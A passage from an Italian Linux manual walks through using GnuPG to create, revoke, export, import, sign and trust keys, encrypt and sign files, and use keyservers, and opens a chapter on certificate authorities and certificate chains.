Email address: [email protected] [ Invio ]

Comment: Baffo [ Invio ]

You selected this USER-ID:"Tizio Tizi (Baffo) <[email protected]>"

Il programma mostra i dati inseriti, permettendo di controllarli. Se tutto è in ordine, si conferma.

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O[ Invio ]

Infine, la cosa più importante: per proteggere la chiave privata, questa viene cifrata utilizzandounaparola d’ordine, che in questo caso viene definita precisamentepassphrase, per intendereche si dovrebbe trattare di un testo più lungo di una sola parola. In pratica, si deve inserire unastringa, possibilmente lunga e complicata, che verrà utilizzata per cifrare la chiave privata: ognivolta che dovrà essere utilizzata la chiave privata, verrà richiesto l’inserimento di questa stringaper potervi accedere.

You need a Passphrase to protect your secret key.

Enter passphrase: digitazione_all’oscuro[ Invio ]

Repeat passphrase: digitazione_all’oscuro[ Invio ]

Completata questa fase, inizia la procedura di creazione delle chiavi, che avviene in modoautomatico.

We need to generate a lot of random bytes. It is a good idea to performsome other action (work in another window, move the mouse, utilize thenetwork and the disks) during the prime generation; this gives the randomnumber generator a better chance to gain enough entropy.....+++++..............+++++..+++++.+++++.............+++++......+++++..++++++++++........+++++..+++++........++++++++++................................+++++.+++++.+++++....+++++........+++++...+++++........++++++++++..+++++++++++++++.+++++......+++++.+++++>......+++++>.........+++++.<.+++++............>.........+++++....<+++++...>.....+++++<..+++++.....................................................................................................................................+++++^^^public and secret key created and signed.

Page 157: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

GnuPG: GNU Privacy Guard 2141

Questo conclude il funzionamento del programma e riappare l’invito della shell. Leggendo ilmessaggio finale, si osserva che le chiavi sono state firmate. Questa firma garantisce solo chenon siano alterate le informazioni abbinate alle chiavi, ma come è già stato spiegato nel capitolointroduttivo (195), ciò non impedisce che qualcuno possa sostituire completamente le chiavipubbliche che vengono diffuse.

Una volta creata la propria coppia di chiavi, è importantissimo provvedere a generare ancheil certificato di revoca relativo. Questo si traduce in un file di testo da conservare in un postosicuro. Eventualmente, si può anche stampare il file, per una maggiore sicurezza.

tizio$ gpg --output revoca.txt --gen-revoke [email protected] [ Invio ]

sec 1024D/7A6D2F72 1999-10-01 Tizio Tizi (Baffo) <[email protected]>

Come si vede, vengono mostrati tutti i dati identificativi della chiave, compreso il numero che èstato generato automaticamente. Per proseguire basta confermare.

Create a revocation certificate for this key? y [ Invio ]

Dal momento che questa operazione richiede l’utilizzo della chiave privata, occorre indicare lastringa necessaria per sbloccarla.

You need a passphrase to unlock the secret key foruser: "Tizio Tizi (Baffo) <[email protected]>"1024-bit DSA key, ID 7A6D2F72, created 1999-10-01

Enter passphrase: digitazione_all’oscuro[ Invio ]

ASCII armored output forced.Revocation certificate created.

Please move it to a medium which you can hide away; if Mallory getsaccess to this certificate he can use it to make your key unusable.It is smart to print this certificate and store it away, just in caseyour media become unreadable. But have some caution: The print system ofyour machine might store the data and make it available to others!

E con questo si conclude l’operazione che ha generato il file‘ revoca.txt ’ . Il file è di tipoASCII, ovvero, da binario è stato convertito in ASCII attraverso l’algoritmoArmor. Vale la penadi vedere come potrebbe essere questo file:

-----BEGIN PGP PUBLIC KEY BLOCK-----Version: GnuPG v0.9.3 (GNU/Linux)Comment: For info see http://www.gnupg.orgComment: A revocation certificate should follow

iEYEIBECAAYFAjf0gEIACgkQZUnKKXptL3KOAQCdEH5HfbFR5g34fui5y0JMkQxrPisAn2kHENgFOLtkdDIpK1PwYp9ZArbK=HGaY-----END PGP PUBLIC KEY BLOCK-----

196.3 Scambio di chiavi pubbliche

Quando si vuole intrattenere una comunicazione cifrata con qualcuno, si deve disporre dellachiave pubblica dell’interlocutore, che a sua volta deve disporre di quella della controparte. Diconseguenza, è necessario apprendere subito come si accede al proprio portachiavi, in mododa poter estrarre le chiavi pubbliche (proprie o di altri) e per potervi aggiungere le chiavi dellepersone con cui si vogliono avere contatti in questa forma. Inizialmente, le chiavi pubbliche adisposizione sono solo le proprie; se ne ottiene l’elenco con il comando seguente:

Page 158: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2142 GnuPG: GNU Privacy Guard

tizio$ gpg --list-keys [ Invio ]

/home/tizio/.gnupg/pubring.gpg------------------------------------------pub 1024D/7A6D2F72 1999-10-01 Tizio Tizi (Baffo) <[email protected]>sub 1024g/D75594A6 1999-10-01

Anche se non è stato richiesto esplicitamente, nella creazione della coppia di chiavi complemen-tari, in realtà sono state generate due coppie: una primaria e una secondaria. Si può osservare chela prima colonna suggerisce di che tipo di chiave si tratti:‘pub ’ per indicare la chiave pubblicaprimaria e‘sub ’ per indicare la chiave pubblica secondaria.

A questo punto si pone il problema di esportare la propria chiave pubblica (intesa come il com-plesso rappresentato dalla chiave primaria e da tutte le sue chiavi secondarie) e di importarequella degli interlocutori futuri. In particolare, nel momento in cui si esporta una chiave, occor-re decidere se questo debba essere fatto generando un risultato binario, oppure se lo si vogliaconvertire in ASCII. In generale, dovendo preparare un file da trasmettere attraverso forme di co-municazione tradizionale, come la posta elettronica, conviene richiedere sempre la conversionein ASCII, per mezzo dell’opzione‘ --armor ’ . Si comincia mostrando l’esportazione.

tizio$ gpg --armor --output tizio.gpg --export [email protected] [ Invio ]

Il file che si ottiene,‘ tizio.gpg ’ , potrebbe essere simile a quello seguente (che viene mostratosolo in parte):

-----BEGIN PGP PUBLIC KEY BLOCK-----Version: GnuPG v0.9.3 (GNU/Linux)Comment: For info see http://www.gnupg.org

mQGiBDf0ehMRBAC+s8Evv4EXv1eEGDw01mZAwJCPe9uBbE/u9eNlD8J33MCXFRUKk/4CFU6BRK46RlXFjL9CcWtRIDar/72NIktChpBFebYnX+wiho9Pt2/U7B32MbMX......vO+Y8kqiOfAHDrL90IhMBBgRAgAMBQI39HpKBQkACTqAAAoJEGVJyil6bS9y0ywAn3OySw4T4rHtGtE2hULTwj9orwefAKCB3ozbH0x/I9jFrCGe6gx7Fio9FA===jTTe-----END PGP PUBLIC KEY BLOCK-----

L’importazione di una chiave pubblica avviene in modo analogo, con la differenza che nonè necessario specificare in che formato sia la fonte: ciò viene determinato automaticamente. Sisuppone di importare una chiave contenuta nel file‘caio.gpg ’ .

tizio$ gpg --import caio.gpg [ Invio ]

gpg:/home/tizio/caio.gpg: key C38563D0: public key importedgpg: Total number processed: 1gpg: imported: 1

Dopo l’importazione si può controllare l’elenco delle chiavi pubbliche possedute, come era giàstato fatto in precedenza.

tizio$ gpg --list-keys [ Invio ]

/home/tizio/.gnupg/pubring.gpg------------------------------------------pub 1024D/7A6D2F72 1999-10-01 Tizio Tizi (Baffo) <[email protected]>sub 1024g/D75594A6 1999-10-01

pub 1024D/C38563D0 1999-10-01 Caio Cai <[email protected]>sub 1024g/E3460DB4 1999-10-01

Page 159: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

GnuPG: GNU Privacy Guard 2143

È da osservare il fatto che l’esportazione delle chiavi pubbliche, senza indicare a quali personesi vuole fare riferimento, implica l’esportazione completa di tutte le chiavi disponibili.

A questo punto, occorre stabilire se ci si fida o meno delle chiavi pubbliche che si importano.Se si è certi della loro autenticità, è utile controfirmarle. La firma che si aggiunge potrà servire aqualcun altro, se poi si provvederà a diffonderle nuovamente. Per intervenire a questo livello nelportachiavi pubblico, occorre usare il comando‘ --edit-key ’ :

tizio$ gpg --edit-key [email protected] [ Invio ]

Con questo comando si richiede di intervenire nella chiave pubblica di Caio. Si ottiene unriassunto della situazione e un invito a inserire dei comandi specifici (attraverso una riga dicomando).

pub 1024D/C38563D0 created: 1999-10-01 expires: 1999-10-08 trust: -/qsub 1024g/E3460DB4 created: 1999-10-01 expires: 1999-10-08(1) Caio Cai <[email protected]>

Una chiave potrebbe contenere più informazioni riferite all’identità del suo proprietario. An-che se si tratta sempre della stessa persona, questa potrebbe utilizzare diversi indirizzi di postaelettronica e diverse variazioni nel nome (per esempio per la presenza o meno del titolo o diun nomignolo). Nel caso mostrato dall’esempio, si tratta di un nominativo soltanto, a cui èabbinato il numero uno.

Tanto per cominciare, si può controllare lo stato di questa chiave con il comando‘check ’ :

Command> check [ Invio ]

uid Caio Cai <[email protected]>sig! C38563D0 1999-10-01 [self-signature]

Si può osservare che dispone soltanto della firma del suo stesso proprietario, cosa che non puògarantirne l’autenticità. Di solito, per verificare l’origine di una chiave pubblica si sfrutta la suaimpronta digitale, ovvero un codice più breve che viene generato univocamente attraverso unafunzione apposita:

Command> fpr [ Invio ]

Con il comando‘ fpr ’ si ottiene proprio questa informazione. Se il proprietario di questa chiaveci ha fornito l’impronta digitale attraverso un canale sicuro (di solito ciò significa che c’è statoun incontro personale), si può controllare a vista la sua corrispondenza.

pub 1024D/C38563D0 1999-10-01 Caio Cai <[email protected]>Fingerprint: 8153 E6E4 DE1F 6B62 2847 0B5D 9643 B918 C385 63D0

Se l’impronta corrisponde e si è finalmente certi dell’autenticità di questa chiave, la si puòfirmare, certificando a proprio nome che si tratta di una chiave autentica.

Command> sign [ Invio ]

pub 1024D/C38563D0 created: 1999-10-01 expires: 1999-10-08 trust: -/qFingerprint: 8153 E6E4 DE1F 6B62 2847 0B5D 9643 B918 C385 63D0

Caio Cai <[email protected]>

Are you really sure that you want to sign this keywith your key: "Tizio Tizi (Baffo) <[email protected]>"

Really sign? y [ Invio ]

Page 160: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2144 GnuPG: GNU Privacy Guard

Dal momento che per farlo occorre utilizzare la propria chiave privata, ecco che viene richiestodi inserire la stringa necessaria per sbloccarla.

You need a passphrase to unlock the secret key foruser: "Tizio Tizi (Baffo) <[email protected]>"1024-bit DSA key, ID 7A6D2F72, created 1999-10-01

Enter passphrase: digitazione_all’oscuro[ Invio ]

A questo punto si può verificare nuovamente lo stato della chiave:

Command> check [ Invio ]

uid Caio Cai <[email protected]>sig! C38563D0 1999-10-01 [self-signature]sig! 7A6D2F72 1999-10-01 Tizio Tizi (Baffo) <[email protected]

Come si vede, adesso c’è anche la firma di Tizio. Per concludere questo funzionamentointerattivo, si utilizza il comando‘quit ’ , ma prima si salvano le modifiche con‘save ’ :

Command> save [ Invio ]

Command> quit [ Invio ]

196.4 Utilizzo della crittografia

Quando si dispone della chiave pubblica del proprio interlocutore, è possibile cifrare i dati chegli si vogliono mandare. In generale, si lavora su un file alla volta, o eventualmente su un archiviocompresso contenente più file. Supponendo di volere inviare il file‘documento.txt ’ a Caio, sipotrebbe preparare una versione cifrata di questo file con il comando seguente:

tizio$ gpg --output documento.txt.gpg --encrypt ←→--recipient [email protected] documento.txt [ Invio ]

In questo modo si ottiene il file‘documento.txt.gpg ’ . Se questo file viene spedito attraversola posta elettronica, allegandolo a un messaggio, di solito, il programma che si usa si arrangiaa convertirlo in un formato adatto a questa trasmissione; diversamente, può essere convenientela conversione in formatoArmor. Nell’esempio seguente si fa tutto in un colpo solo: si cifra ilmessaggio e lo si spedisce a Caio (si osservi il trasferimento del messaggio cifrato attraverso lostandard output.)

tizio$ gpg --armor --output - --encrypt --recipient ←→[email protected] documento.txt | mail [email protected] [ Invio ]

Eventualmente si può specificare in modo esplicito l’algoritmo da usare per cifrare. Si ot-tiene questo con l’opzione‘ --cipher-algo ’ , ma prima occorre conoscere gli algoritmi adisposizione:

tizio$ gpg --version [ Invio ]

Home: ~/.gnupgSupported algorithms:Cipher: 3DES, CAST5, BLOWFISH, RIJNDAEL, RIJNDAEL192, RIJNDAEL256, TWOFISHPubkey: RSA, RSA-E, RSA-S, ELG-E, DSA, ELGHash: MD5, SHA1, RIPEMD160

Si possono usare i nomi elencati per la cifratura; per esempio, volendo usare l’algoritmo 3DES:

Page 161: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

GnuPG: GNU Privacy Guard 2145

tizio$ gpg --output documento.txt.gpg --encrypt ←→--cipher-algo 3DES --recipient [email protected] ←→documento.txt [ Invio ]

Per decifrare un documento si agisce in modo simile, utilizzando l’opzione‘ --decrypt ’ . Adifferenza dell’operazione di cifratura, dovendo usare la chiave privata, viene richiesta l’indica-zione della stringa necessaria per sbloccarla. L’esempio che segue, mostra il caso in cui si vogliadecifrare il contenuto del file‘messaggio.gpg ’ , generando il file‘messaggio ’ :

tizio$ gpg --output messaggio --decrypt messaggio.gpg [ Invio ]

You need a passphrase to unlock the secret key foruser: "Tizio Tizi (Baffo) <[email protected]>"1024-bit DSA key, ID 7A6D2F72, created 1999-10-01

Enter passphrase: digitazione_all’oscuro[ Invio ]

Per finire, è il caso di considerare anche la possibilità di usare un sistema di crittografia simme-trica (a chiave segreta), dove non viene presa in considerazione la gestione delle chiavi pubblicheo private che siano. In pratica, tutto si riduce a definire la chiave da usare per la cifratura, chiaveche deve essere conosciuta anche dalla nostra controparte, per poter decifrare il messaggio.

tizio$ gpg --armor --output testo.gpg --symmetric testo [ Invio ]

L’esempio mostra il caso del file‘ testo ’ che viene cifrato generando il file‘ testo.gpg ’ , informato ASCII Armor. Per completare l’operazione, occorre fornire la stringa da usare comechiave per la cifratura; per ridurre la possibilità di errori, ciò viene richiesto per due volte:

Enter passphrase: digitazione_all’oscuro[ Invio ]

Repeat passphrase: digitazione_all’oscuro[ Invio ]

Per decifrare questo file, non occorrono comandi speciali, basta l’opzione‘ --decrypt ’ . GnuPGsi accorge da solo che si tratta di una cifratura simmetrica, provvedendo a chiedere l’indicazionedella stringa necessaria a decifrarla.

196.5 Firma di documenti

La firma elettronica (o digitale) serve a certificare l’autenticità e la data di un file. Se il filein questione viene modificato in qualche modo, la verifica della firma fallisce. La firma vienegenerata utilizzando la chiave privata e di conseguenza può essere verificata utilizzando la chiavepubblica; il controllo ha valore solo se si può dimostrare l’autenticità della chiave pubblica. Ingenerale, la firma viene allegata allo stesso file, che di solito viene cifrato, sempre usando lachiave privata.

tizio$ gpg --armor --output documento.firmato --sign documento [ Invio ]

L’esempio mostra in che modo si può firmare il file‘documento ’ , generando‘documento.firmato ’ (in particolare si vuole ottenere un file ASCII per facilitarne latrasmissione).

You need a passphrase to unlock the secret key foruser: "Tizio Tizi (Baffo) <[email protected]>"1024-bit DSA key, ID 7A6D2F72, created 1999-10-01

Dal momento che si deve usare la chiave privata per ottenere la firma e anche per cifrare il testo,viene richiesto di inserire la stringa necessaria per sbloccarla.

Page 162: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2146 GnuPG: GNU Privacy Guard

Enter passphrase: digitazione_all’oscuro[ Invio ]

Un documento firmato si controlla semplicemente con l’opzione‘ --verify ’ , come nell’esempioseguente:

tizio$ gpg --verify documento.firmato [ Invio ]

gpg: Signature made Fri Oct 1 15:56:15 1999 CEST using DSA key ID 7A6D2F72gpg: Good signature from "Tizio Tizi (Baffo) <[email protected]>"

Dal momento che il documento, così come si trova non è leggibile, occorre richiedere didecifrarlo, cosa che implica anche la verifica della firma:

tizio$ gpg --output documento --decrypt documento.firmato [ Invio ]

In questo caso si ottengono le stesse informazioni di prima, ma in più si ha di nuovo il file‘documento ’ originale.

gpg: Signature made Fri Oct 1 15:56:15 1999 CEST using DSA key ID 7A6D2F72gpg: Good signature from "Tizio Tizi (Baffo) <[email protected]>"

Dal momento che lo scopo della firma non è quello di nascondere il contenuto del file originale,specialmente se si tratta di un file di testo, si può richiedere esplicitamente di firmare un file inchiaro. In pratica, si ottiene il file di partenza, con l’aggiunta della firma. Per questo si usa ilcomando‘ --clearsign ’ al posto di‘ --sign ’ :

tizio$ gpg --output documento.firmato --clearsign documento [ Invio ]

Tutto il resto funziona come prima. L’aspetto di un file del genere è simile a quello seguente:

-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1

...

...-----BEGIN PGP SIGNATURE-----Version: GnuPG v0.9.3 (GNU/Linux)Comment: For info see http://www.gnupg.org

iD8DBQE39L/LrL80KSMdTVQRAgUfAJ9tVPiBLuJNpElEF9fpoUO27odWMQCfc8e73c6ARR8UGBAO7TIhVlDn7fE==amzF-----END PGP SIGNATURE-----

Infine, se può essere opportuno per qualche motivo, la firma si può tenere staccata dal fileoriginale. In questo caso, si utilizza il comando‘ --detach-sig ’ :

tizio$ gpg --armor --output firma --detach-sig documento [ Invio ]

In questo modo si crea la firma del file‘documento ’ , inserendola separatamente nel file‘ firma ’ ,richiedendo espressamente di utilizzare la codifica ASCIIArmor. Per verificare la firma, occorreindicare i due nomi:

tizio$ gpg --verify firma documento [ Invio ]

Page 163: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

GnuPG: GNU Privacy Guard 2147

196.6 Gestione della fiducia

GnuPG permette di annotare il livello di fiducia che si ha nei confronti della certificazione da par-te di altre persone. Una volta definiti questi valori, si può automatizzare il calcolo della credibilitàdi una chiave pubblica della quale si è venuti in possesso. In pratica, se ci si fida ciecamente delgiudizio di Sempronio, si accetteranno come valide tutte le chiavi pubbliche controfirmate an-che da Sempronio. Per accedere a queste funzioni, si utilizza il solito comando‘ --edit-key ’ ;quindi, nell’ambito del funzionamento interattivo che si ottiene, si utilizza il comando‘ trust ’ .

$ gpg --edit-key [email protected] [ Invio ]

pub 1024D/C38563D0 created: 1999-10-01 expires: 1999-10-08 trust: -/qsub 1024g/E3460DB4 created: 1999-10-01 expires: 1999-10-08(1) Caio Cai <[email protected]>

Dopo aver ottenuto la situazione della chiave pubblica di Caio e delle sue sottochiavi, si puòrichiedere di passare alla gestione della fiducia nei suoi confronti.

Command> trust [ Invio ]

pub 1024D/C38563D0 created: 1999-10-01 expires: 1999-10-08 trust: -/qsub 1024g/E3460DB4 created: 1999-10-01 expires: 1999-10-08(1) Caio Cai <[email protected]>

Please decide how far you trust this user to correctlyverify other users’ keys (by looking at passports,checking fingerprints from different sources...)?

1 = Don’t know2 = I do NOT trust3 = I trust marginally4 = I trust fullys = please show me more informationm = back to the main menu

In breve: il valore uno corrisponde a un livello indefinibile; due fa riferimento a una personainaffidabile; tre rappresenta una fiducia parziale; quattro è una fiducia completa. Viene mostratoil caso in cui si indica una fiducia parziale.

Your decision? 3[ Invio ]

pub 1024D/C38563D0 created: 1999-10-01 expires: 1999-10-08 trust: m/qsub 1024g/E3460DB4 created: 1999-10-01 expires: 1999-10-08(1) Caio Cai <[email protected]>

Command> quit [ Invio ]

A questo punto è importante definire il significato delle lettere che appaiono sulla destra, nelcampo‘ trust: ’ . Come si vede dagli esempi, si tratta di due lettere staccate da un barra obliqua:la prima lettera definisce il grado di fiducia nei confronti della persona; la seconda definisce lafiducia sull’autenticità della sua chiave pubblica. Infatti, la fiducia nei confronti di una firma,è condizionata dal fatto che la chiave pubblica che si dispone per il controllo sia effettivamen-te quella giusta (e non una contraffazione). La tabella196.1mostra l’elenco di queste lettere,assieme alla descrizione del loro significato.

Page 164: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2148 GnuPG: GNU Privacy Guard

Tabella 196.1. Elenco degli indicatori utilizzati per definire i livelli di fiducia.

Lettera Significato- Fiducia indefinita nei confronti della persona.e Calcolo della fiducia fallito.q Informazioni insufficienti per il calcolo della fiducia.n Non viene attribuita alcuna fiducia alla chiave.m Fiducia parziale nei confronti della persona.f Fiducia totale nei confronti della persona.u Certezza assoluta dell’autenticità della chiave.

Una volta stabilito il livello di fiducia nei confronti delle persone e delle loro chiavi pubbliche,si può stabilire in che modo le altre chiavi controfirmate da questi possono essere acquisite nelproprio portachiavi. In generale, salvo la modifica della configurazione predefinita, valgono leregole seguenti:

• una chiave firmata personalmente è valida a tutti gli effetti;

• una chiave firmata da una persona fidata è trattata come autentica se la sua stessa chiavepubblica è ritenuta sicura;

• una chiave firmata da almeno tre persone di cui ci si fida in parte è trattata come autenticase le loro stesse chiavi pubbliche sono ritenute sicure.

Oltre a questo elenco si deve considerare anche il «percorso di fiducia». Forse si comprendemeglio il problema pensando per analogia alle firme poste su un assegno bancario per girarlo:la prima girata (la prima firma posta sul retro) è quella della persona a cui è destinato l’assegno(spesso è la stessa persona che lo ha emesso a proprio nome), mentre le firme successive sonoquelle di persone che si sono passate di mano l’assegno. Se Sempronio è l’ultimo di questi e cisi fida di lui, mentre degli altri non si sa nulla, diventa difficile accettare un assegno del generequando l’elenco delle girate comincia a diventare lungo. Ecco quindi il senso di questo percorsodi fiducia, che rappresenta il numero di persone attraverso le quali la chiave pubblica giunge alnostro portachiavi. In generale, per poter accettare come valida una chiave, è necessario ancheche il percorso di fiducia sia minore o al massimo uguale a cinque passaggi.

196.7 Accesso a un servente di chiavi

Prima di accedere a unservente di chiavi, occorre determinare quale possa essere quello piùcomodo rispetto alla propria posizione nella rete.

Supponendo di avere scelto ilnodowww.it.pgp.net , ammesso che si tratti effettivamentedi un servente di chiavi, si può utilizzare lo stessoGnuPG per prelevare le chiavi pubbliche dinostro interesse, purché se ne conosca il numero di identificazione:

$ gpg --keyserver www.it.pgp.net --recv-key 0x0C9857A5 [ Invio ]

gpg: requesting key 0C9857A5 from www.it.pgp.net ...gpg: key 0C9857A5: 1 new signature

gpg: Total number processed: 1gpg: new signatures: 1

Per l’invio della propria chiave pubblica, si agisce in modo simile:

$ gpg --keyserver www.it.pgp.net --send-key [email protected] [ Invio ]

gpg: success sending to ’www.it.pgp.net’ (status 200)

Page 165: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

GnuPG: GNU Privacy Guard 2149

Se per qualche motivo iserventi di chiavi locali non consentono l’accesso, si può sempreriparare pressocertserver.pgp.com .

196.8 Riferimenti

• The GNU Privacy Handbook, 1999

<http://www.gnupg.org/>

• Bert-Jaap Coops,Crypto law survey

<http://rechten.kub.nl/koops/cryptolaw/>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 166: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 197

Autorità di certificazione e certificatiIl «certificato» è un file contenente alcuni dati identificativi di una persona, in un contesto deter-minato, abbinati alla chiave pubblica della stessa, firmato da una o più autorità di certificazione.In pratica le firme di queste autorità servono a garantire la veridicità dei dati, confermando che lachiave pubblica abbinata appartiene effettivamente alla persona indicata.

Volendo vedere le cose da un altro punto di vista, la chiave pubblica che è stata controfirmata daaltre persone, è un certificato della veridicità della chiave pubblica stessa, che è tanto più valido,quanto più credibili sono le persone che hanno aggiunto la loro firma.

Dal momento che la crittografia a chiave pubblica serve per cifrare, ma soprattutto per firmarei documenti in forma elettronica, si tratta di uno strumento strettamentepersonale. Per questaragione, un certificato dovrebbe essere sempre riferito a una persona particolare, anche sequesta lo deve utilizzare nell’ambito del proprio lavoro, per lo svolgimento dei suoi incarichi.

197.1 Quadro generale

Nel momento in cui la crittografia a chiave pubblica viene usata professionalmente, come nel casodel commercio elettronico, è indispensabile la presenza delle autorità di certificazione, ovvero dienti (privati o pubblici) specializzati nella certificazione.

Ogni autorità di certificazione stabilisce e impone la propria procedura per ottenere la propriacertificazione; questo significa che ogni autorità definisce il proprio ambito di competenza, qualitipi di certificazione elettronica è in grado di fornire (si fa riferimento al formato del certificatoelettronico) e quali siano le informazioni che devono essere fornite in modo preciso. Sarà poicompito dell’autorità la verifica della veridicità di tali informazioni.

197.1.1 Catena di certificazione

La certificazione da parte di queste autorità, ovvero la loro firma sui certificati elettronici, valesolo se questa è verificabile, per cui è necessario disporre della chiave pubblica di queste autorità.Anche la chiave pubblica di un’autorità di certificazione viene diffusa attraverso un certificato.

Un’autorità di certificazione potrebbe funzionare in modo autonomo, oppure potrebbe apparte-nere a una struttura più o meno articolata. Infatti, ci potrebbe essere la necessità di suddividere ilcarico di lavoro in più organizzazioni. La figura197.1mostra una struttura gerarchica ad albero,dove si parte da un’autorità principale, che si autocertifica, che demanda e organizza il compitodi certificazione a strutture inferiori, firmando il loro certificato (con la propria chiave privata).Queste autorità inferiori possono avere a loro volta la responsabilità sulla certificazione di altreautorità di livello inferiore, ecc.

2150

Page 167: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Autorità di certificazione e certificati 2151

Figura 197.1. Gerarchia tra più autorità di certificazione..----------------------------.| Autorità di certificazione || principale (root) |‘----------------------------’

|.--------------------------|--------------------------.| | |

.----------------------. .----------------------. .----------------------.| Autorità subordinata | | Autorità subordinata | | Autorità subordinata || Alfa | | Beta | | Gamma |‘----------------------’ ‘----------------------’ ‘----------------------’

||

- - - *------------*-------------* - - -| || |

.----------------------. .----------------------.| Autorità subordinata | | Autorità subordinata || Bianco | | Nero |‘----------------------’ ‘----------------------’

La presenza di una scomposizione gerarchica tra le autorità di certificazione, più o meno articola-ta, genera unacatena di certificati, ovvero un «percorso di fiducia». Di fronte a questa situazione,sarebbe bene che il tipo di certificato elettronico che si utilizza permettesse di annotare questacatena, in maniera tale che sia possibile il recupero dei certificati mancanti. In pratica, chi ottieneun certificato di Tizio, firmato dall’autorità Bianco, per verificare l’autenticità del certificato diquesto signore, deve disporre della chiave pubblica di quell’autorità, o in altri termini, deve avereil certificato dell’autorità stessa (che contiene anche la sua chiave pubblica). Senza questa infor-mazione non potrebbe verificare la firma di questa autorità. Tuttavia, se nel certificato di Tizioè annotato che l’autorità Beta è garante per l’autorità Bianco e inoltre è annotato in che modoprocurarsi il certificato di Bianco rilasciato da Beta, se si dispone già del certificato dell’autoritàBeta, dopo che è stato prelevato il certificato di Bianco, questo lo si può controllare attraversoquello di Beta. Questi passaggi si possono rivedere descritti nell’elenco seguente:

• Tizio si presenta con il proprio certificato, contenente la firma di garanzia dell’autoritàBianco;

• l’autorità Bianco è sconosciuta, di conseguenza non si dispone del suo stesso certificato, dalquale sarebbe necessario estrarre la chiave pubblica per verificarne la firma sul certificatodi Tizio;

• nel certificato di Tizio c’è scritto in che modo ottenere il certificato dell’autorità Bianco,che così viene prelevato attraverso la rete;

• nel certificato di Tizio c’è scritto che l’autorità Bianco è garantita dall’autorità Beta, dellaquale, per fortuna, si dispone del certificato;

• con la chiave pubblica di Beta si verifica la firma nel certificato di Bianco;

• disponendo del certificato di Bianco e avendo verificato la sua autenticità, si può verificarel’autenticità del certificato di Tizio.

Se non si disponesse del certificato di Beta occorrerebbe ripetere la ricerca per l’autorità garantesuperiore, nel modo già visto.

Page 168: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2152 Autorità di certificazione e certificati

197.1.2 Numero di serie, scadenza e revoca dei certificati

Un certificato non può essere valido per sempre, così come accade con un documento di ricono-scimento: una carta di identità o un passaporto. Un’informazione fondamentale che deve avereun certificato elettronico è la scadenza; questa è sempre l’informazione che viene controllata perprima, chiunque sia il titolare del certificato.

Tuttavia, anche nel periodo di validità di un certificato possono cambiare tante cose, per cui deveessere previsto un meccanismo di revoca: sia su richiesta del titolare; sia a seguito di una deci-sione dell’autorità di certificazione che lo ha firmato. Infatti, il titolare del certificato potrebbetrovarsi in una condizione diversa rispetto a quella in cui si trovava nel momento del rilasciodel certificato, per cui i dati in esso contenuti potrebbero non corrispondere più; dall’altra par-te, l’autorità di certificazione potrebbe avere verificato un utilizzo irregolare del certificato e diconseguenza potrebbe decidere il suo ritiro.

Evidentemente, per ottenere questo risultato, occorre che l’autorità che ha rilasciato dei certifica-ti, gestisca anche unabase di dati in cui siano indicati quelli che sono stati revocati, identificabiliattraverso il loro numero di serie, che quindi è un altro elemento indispensabile di un certificato.A questo punto, quando si vuole verificare un certificato, oltre a controllare la scadenza e la vali-dità della firma dell’autorità di certificazione, occorre controllare presso labase di dati di questache il certificato non sia già stato revocato.

Il meccanismo della revoca o del non-rinnovo dei certificati, serve anche a dare credibilità auna catena di autorità di certificazione: un anello debole della catena -- debole in quanto pocoserio -- metterebbe in dubbio tutto il sistema e sarebbe nell’interesse di tutte le altre autorità lasua eliminazione. Si intende che l’azione necessaria per ottenere questo risultato è la semplicepubblicazione della revoca del certificato da parte dell’autorità di livello superiore, oppure il suomancato rinnovo.

197.2 Certificato X.509

